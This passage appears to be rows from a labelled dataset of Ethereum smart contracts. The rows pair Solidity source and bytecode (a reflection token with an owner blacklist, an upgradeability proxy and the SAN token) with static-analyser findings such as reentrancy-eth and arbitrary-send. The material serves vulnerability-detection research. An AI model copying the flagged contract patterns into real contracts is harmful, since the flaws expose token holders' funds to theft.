_rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb146102c1578063b515566a146102e1578063c3c8cd8014610301578063dd62ed3e14610316578063e9e1831a1461035c57600080fd5b8063715018a6146102435780638da5cb5b1461025857806395d89b41146102805780639e78fb4f146102ac57600080fd5b8063273123b7116100d1578063273123b7146101d0578063313ce567146101f25780636fc3eaec1461020e57806370a082311461022357600080fd5b806306fdde031461010e578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101b057600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082019091526013815272416d65726963616e204e617469766520496e7560681b60208201525b6040516101539190611498565b60405180910390f35b34801561016857600080fd5b5061017c610177366004611512565b610371565b6040519015158152602001610153565b34801561019857600080fd5b50666a94d74f4300005b604051908152602001610153565b3480156101bc57600080fd5b5061017c6101cb36600461153e565b610388565b3480156101dc57600080fd5b506101f06101eb36600461157f565b6103f1565b005b3480156101fe57600080fd5b5060405160098152602001610153565b34801561021a57600080fd5b506101f0610445565b34801561022f57600080fd5b506101a261023e36600461157f565b610452565b34801561024f57600080fd5b506101f0610474565b34801561026457600080fd5b506000546040516001600160a01b039091168152602001610153565b34801561028c57600080fd5b50604080518082019091526003815262414e4960e81b6020820152610146565b3480156102b857600080fd5b506101f06104e8565b3480156102cd57600080fd5b5061017c6102dc366004611512565b6106b4565b3480156102ed57600080fd5b506101f06102fc3660046115b2565b6106c1565b34801561030d57600080fd5b506101f0610815565b34801561032257600080fd5b506101a2610331366004611677565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561036857600080fd5b506101f061082b565b600061037e3384846109ef565b5060015b92915050565b6000610395848484610b13565b6103e784336103e285604051806060016040528060288152602001611879602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e09565b6109ef565b5060019392505050565b6000546001600160a01b031633146104245760405162461bcd60e51b815260040161041b906116b0565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b4761044f81610e43565b50565b6001600160a01b03811660009081526002602052604081205461038290610e7d565b6000546001600160a01b0316331461049e5760405162461bcd60e51b815260040161041b906116b0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105125760405162461bcd60e51b815260040161041b906116b0565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561054d3082666a94d74f4300006109ef565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561058b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105af91906116e5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062091906116e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561066d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069191906116e5565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b600061037e338484610b13565b6000546001600160a01b031633146106eb5760405162461bcd60e51b815260040161041b906116b0565b60005b815181101561081157600c5482516001600160a01b039091169083908390811061071a5761071a611702565b60200260200101516001600160a01b03161415801561076b5750600d5482516001600160a01b039091169083908390811061075757610757611702565b60200260200101516001600160a01b031614155b80156107a25750306001600160a01b031682828151811061078e5761078e611702565b60200260200101516001600160a01b031614155b156107ff576001600660008484815181106107bf576107bf611702565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108098161172e565b9150506106ee565b5050565b600061082030610452565b905061044f81610efa565b6000546001600160a01b031633146108555760405162461bcd60e51b815260040161041b906116b0565b600c546001600160a01b031663f305d719473061087181610452565b6000806108866000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ee573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109139190611747565b5050600d805462ff00ff60a01b1981166201000160a01b17909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610982573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044f9190611775565b60006109e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611074565b9392505050565b6001600160a01b038316610a515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041b565b6001600160a01b038216610ab25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041b565b6001600160a01b038216610bd95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041b565b60008111610c3b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041b565b6001600160a01b03831660009081526006602052604090205460ff16158015610c7d57506001600160a01b03821660009081526006602052604090205460ff16155b610c8657600080fd5b60076009556005600a556000546001600160a01b03848116911614801590610cbc57506000546001600160a01b03838116911614155b15610df957600d546001600160a01b038481169116148015610cec5750600c546001600160a01b03838116911614155b8015610d1157506001600160a01b03821660009081526005602052604090205460ff16155b15610d2557600e54811115610d2557600080fd5b600c546001600160a01b03848116911614801590610d5c57506001600160a01b03831660009081526005602052604090205460ff16155b15610d8257600d546001600160a01b0390811690831603610d825760076009556005600a555b6000610d8d30610452565b600d54909150600160a81b900460ff16158015610db85750600d546001600160a01b03858116911614155b8015610dcd5750600d54600160b01b900460ff165b15610df757610ddb81610efa565b476706f05b59d3b20000811115610df557610df547610e43565b505b505b610e048383836110a2565b505050565b60008184841115610e2d5760405162461bcd60e51b815260040161041b9190611498565b506000610e3a8486611797565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610811573d6000803e3d6000fd5b6000600754821115610ee45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161041b565b6000610eee6110ad565b90506109e883826109a6565b600d805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f4257610f42611702565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbf91906116e5565b81600181518110610fd257610fd2611702565b6001600160a01b039283166020918202929092010152600c54610ff891309116846109ef565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110319085906000908690309042906004016117ae565b600060405180830381600087803b15801561104b57600080fd5b505af115801561105f573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b600081836110955760405162461bcd60e51b815260040161041b9190611498565b506000610e3a848661181f565b610e048383836110d0565b60008060006110ba6111c7565b90925090506110c982826109a6565b9250505090565b6000806000806000806110e287611205565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111149087611262565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461114390866112a4565b6001600160a01b03891660009081526002602052604090205561116581611303565b61116f848361134d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111b491815260200190565b60405180910390a3505050505050505050565b6007546000908190666a94d74f4300006111e182826109a6565b8210156111fc57505060075492666a94d74f43000092509050565b90939092509050565b60008060008060008060008060006112228a600954600a54611371565b92509250925060006112326110ad565b905060008060006112458e8787876113c6565b919e509c509a509598509396509194505050505091939550919395565b60006109e883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e09565b6000806112b18385611841565b9050838110156109e85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041b565b600061130d6110ad565b9050600061131b8383611416565b3060009081526002602052604090205490915061133890826112a4565b30600090815260026020526040902055505050565b60075461135a9083611262565b60075560085461136a90826112a4565b6008555050565b600080808061138b60646113858989611416565b906109a6565b9050600061139e60646113858a89611416565b905060006113b6826113b08b86611262565b90611262565b9992985090965090945050505050565b60008080806113d58886611416565b905060006113e38887611416565b905060006113f18888611416565b90506000611403826113b08686611262565b939b939a50919850919650505050505050565b60008260000361142857506000610382565b60006114348385611859565b905082611441858361181f565b146109e85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041b565b600060208083528351808285015260005b818110156114c5578581018301518582016040015282016114a9565b818111156114d7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461044f57600080fd5b803561150d816114ed565b919050565b6000806040838503121561152557600080fd5b8235611530816114ed565b946020939093013593505050565b60008060006060848603121561155357600080fd5b833561155e816114ed565b9250602084013561156e816114ed565b929592945050506040919091013590565b60006020828403121561159157600080fd5b81356109e8816114ed565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156115c557600080fd5b823567ffffffffffffffff808211156115dd57600080fd5b818501915085601f8301126115f157600080fd5b8135818111156116035761160361159c565b8060051b604051601f19603f830116810181811085821117156116285761162861159c565b60405291825284820192508381018501918883111561164657600080fd5b938501935b8285101561166b5761165c85611502565b8452938501939285019261164b565b98975050505050505050565b6000806040838503121561168a57600080fd5b8235611695816114ed565b915060208301356116a5816114ed565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116f757600080fd5b81516109e8816114ed565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161174057611740611718565b5060010190565b60008060006060848603121561175c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561178757600080fd5b815180151581146109e857600080fd5b6000828210156117a9576117a9611718565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117fe5784516001600160a01b0316835293830193918301916001016117d9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261183c57634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561185457611854611718565b500190565b600081600019048311821515161561187357611873611718565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203720701eb9e6f7329ab4d8e015cf56a355c85b6d8618513445731597354f212d64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,501
0x6778cd0602afba246cd54c1e3c6d8e136bb31211
/** *Submitted for verification at Etherscan.io on 2021-02-03 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100675780634f1ef286146100b85780635c60da1b146101515780638f28397014610192578063f851a440146101e35761005d565b3661005d5761005b610224565b005b610065610224565b005b34801561007357600080fd5b506100b66004803603602081101561008a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061023e565b005b61014f600480360360408110156100ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561010b57600080fd5b82018360208201111561011d57600080fd5b8035906020019184600183028401116401000000008311171561013f57600080fd5b9091929391929390505050610293565b005b34801561015d57600080fd5b50610166610369565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561019e57600080fd5b506101e1600480360360208110156101b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103c1565b005b3480156101ef57600080fd5b506101f861050e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61022c610579565b61023c61023761060f565b610640565b565b610246610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102875761028281610697565b610290565b61028f610224565b5b50565b61029b610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561035b576102d783610697565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d8060008114610342576040519150601f19603f3d011682016040523d82523d6000602084013e610347565b606091505b505090508061035557600080fd5b50610364565b610363610224565b5b505050565b6000610373610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103b5576103ae61060f565b90506103be565b6103bd610224565b5b90565b6103c9610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561050257600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610482576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806107d76036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104ab610666565b82604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16104fd816106e6565b61050b565b61050a610224565b5b50565b6000610518610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561055a57610553610666565b9050610563565b610562610224565b5b90565b600080823b905060008111915050919050565b610581610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806107a56032913960400191505060405180910390fd5b61060d610715565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e8060008114610661573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b9050805491505090565b6106a081610717565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b90508181555050565b565b61072081610566565b610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061080d603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050818155505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212204ef9ecb760ec5f3d07b4fef7a0b39d06f2b9a3e8ede54cc7486901b65758309e64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,502
0x2d4370400cdcbec8f26ee4face1fa120227271e4
pragma solidity ^0.4.11; contract Base { function max(uint a, uint b) returns (uint) { return a >= b ? a : b; } function min(uint a, uint b) returns (uint) { return a <= b ? a : b; } modifier only(address allowed) { if (msg.sender != allowed) throw; _; } ///@return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) return false; uint size; assembly { size := extcodesize(_addr) } return (size > 0); } // ************************************************* // * reentrancy handling * // ************************************************* //@dev predefined locks (up to uint bit length, i.e. 256 possible) uint constant internal L00 = 2 ** 0; uint constant internal L01 = 2 ** 1; uint constant internal L02 = 2 ** 2; uint constant internal L03 = 2 ** 3; uint constant internal L04 = 2 ** 4; uint constant internal L05 = 2 ** 5; //prevents reentrancy attacs: specific locks uint private bitlocks = 0; modifier noReentrancy(uint m) { var _locks = bitlocks; if (_locks & m > 0) throw; bitlocks |= m; _; bitlocks = _locks; } modifier noAnyReentrancy { var _locks = bitlocks; if (_locks > 0) throw; bitlocks = uint(-1); _; bitlocks = _locks; } ///@dev empty marking modifier signaling to user of the marked function , that it can cause an reentrant call. /// developer should make the caller function reentrant-safe if it use a reentrant function. modifier reentrant { _; } } contract Owned is Base { address public owner; address public newOwner; function Owned() { owner = msg.sender; } function transferOwnership(address _newOwner) only(owner) { newOwner = _newOwner; } function acceptOwnership() only(newOwner) { OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract ERC20 is Base { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function transfer(address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) isStartedOnly returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; bool public isStarted = false; modifier onlyHolder(address holder) { if (balanceOf(holder) == 0) throw; _; } modifier isStartedOnly() { if (!isStarted) throw; _; } } contract SubscriptionModule { function attachToken(address addr) public ; } contract SAN is Owned, ERC20 { string public constant name = "SANtiment network token"; string public constant symbol = "SAN"; uint8 public constant decimals = 15; address CROWDSALE_MINTER = 0xD88E4822687d0F9c73E296296Ed3eCd0a193dd46; address public SUBSCRIPTION_MODULE = 0x00000000; address public beneficiary; uint public PLATFORM_FEE_PER_10000 = 1; //0.01% uint public totalOnDeposit; uint public totalInCirculation; ///@dev constructor function SAN() { beneficiary = owner = msg.sender; } // ------------------------------------------------------------------------ // Don&#39;t accept ethers // ------------------------------------------------------------------------ function () { throw; } //======== SECTION Configuration: Owner only ======== // ///@notice set beneficiary - the account receiving platform fees. function setBeneficiary(address newBeneficiary) external only(owner) { beneficiary = newBeneficiary; } ///@notice attach module managing subscriptions. if subModule==0x0, then disables subscription functionality for this token. /// detached module can usually manage subscriptions, but all operations changing token balances are disabled. function attachSubscriptionModule(SubscriptionModule subModule) noAnyReentrancy external only(owner) { SUBSCRIPTION_MODULE = subModule; if (address(subModule) > 0) subModule.attachToken(this); } ///@notice set platform fee denominated in 1/10000 of SAN token. Thus "1" means 0.01% of SAN token. function setPlatformFeePer10000(uint newFee) external only(owner) { require (newFee <= 10000); //formally maximum fee is 100% (completely insane but technically possible) PLATFORM_FEE_PER_10000 = newFee; } //======== Interface XRateProvider: a trivial exchange rate provider. Rate is 1:1 and SAN symbol as the code // ///@dev used as a default XRateProvider (id==0) by subscription module. ///@notice returns always 1 because exchange rate of the token to itself is always 1. function getRate() returns(uint32 ,uint32) { return (1,1); } function getCode() public returns(string) { return symbol; } //==== Interface ERC20ModuleSupport: Subscription, Deposit and Payment Support ===== /// ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender) public onlyTrusted returns(bool success) { success = _from != msg_sender && allowed[_from][msg_sender] >= _value; if (!success) { Payment(_from, _to, _value, _fee(_value), msg_sender, PaymentStatus.APPROVAL_ERROR, 0); } else { success = _fulfillPayment(_from, _to, _value, 0, msg_sender); if (success) { allowed[_from][msg_sender] -= _value; } } return success; } ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender) public onlyTrusted returns (bool success) { var fee = _fee(_value); assert (fee <= _value); //internal sanity check if (balances[_from] >= _value && balances[_to] + _value > balances[_to]) { balances[_from] -= _value; balances[_to] += _value - fee; balances[beneficiary] += fee; Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.OK, subId); return true; } else { Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.BALANCE_ERROR, subId); return false; } } function _fee(uint _value) internal constant returns (uint fee) { return _value * PLATFORM_FEE_PER_10000 / 10000; } ///@notice used by subscription module to re-create token from returning deposit. ///@dev a subscription module is responsible to correct deposit management. function _mintFromDeposit(address owner, uint amount) public onlyTrusted { balances[owner] += amount; totalOnDeposit -= amount; totalInCirculation += amount; } ///@notice used by subscription module to burn token while creating a new deposit. ///@dev a subscription module is responsible to create and maintain the deposit record. function _burnForDeposit(address owner, uint amount) public onlyTrusted returns (bool success) { if (balances[owner] >= amount) { balances[owner] -= amount; totalOnDeposit += amount; totalInCirculation -= amount; return true; } else { return false; } } //========= Crowdsale Only =============== ///@notice mint new token for given account in crowdsale stage ///@dev allowed only if token not started yet and only for registered minter. ///@dev tokens are become in circulation after token start. function mint(uint amount, address account) onlyCrowdsaleMinter isNotStartedOnly { totalSupply += amount; balances[account]+=amount; } ///@notice start normal operation of the token. No minting is possible after this point. function start() isNotStartedOnly only(owner) { totalInCirculation = totalSupply; isStarted = true; } //========= SECTION: Modifier =============== modifier onlyCrowdsaleMinter() { if (msg.sender != CROWDSALE_MINTER) throw; _; } modifier onlyTrusted() { if (msg.sender != SUBSCRIPTION_MODULE) throw; _; } ///@dev token not started means minting is possible, but usual token operations are not. modifier isNotStartedOnly() { if (isStarted) throw; _; } enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR} ///@notice event issued on any fee based payment (made of failed). ///@param subId - related subscription Id if any, or zero otherwise. event Payment(address _from, address _to, uint _value, uint _fee, address caller, PaymentStatus status, uint subId); }//contract SAN
